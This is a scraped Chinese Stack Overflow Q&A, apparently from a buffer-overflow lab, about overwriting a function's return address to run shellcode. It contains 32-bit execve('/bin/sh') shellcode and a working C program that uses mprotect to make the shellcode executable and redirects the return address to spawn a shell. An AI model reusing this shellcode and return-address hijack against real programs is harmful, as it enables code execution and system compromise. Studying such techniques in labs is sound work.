gpt4 book ai didi

更改返回地址以指向 shellcode

转载 作者:行者123 更新时间:2023-11-30 17:27:58 32 4
gpt4 key购买 nike

我使用linux并且我有c程序,我想更改返回地址以指向我的shellcode,但我无法做到这一点。

这是我的 shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

这是我的c程序

int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

最佳答案

我认为你不应该使用exit(0)或类似的东西。这是我的尝试。我希望它有用!

    // compile : gcc -m32 test.c -o test
// run : ./test

#include <sys/mman.h >
#define PAGE_SIZE 4096U

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

int global_value = 0;

void bang(int val)
{
char **ptr = (char **)&val-1;
mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
*ptr = shellcode;

/*if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);*/
// exit(0);
}

int main() {
bang(0);
printf("this should not be executed!\n");
return 0;
}

关于更改返回地址以指向 shellcode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26194986/

32 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com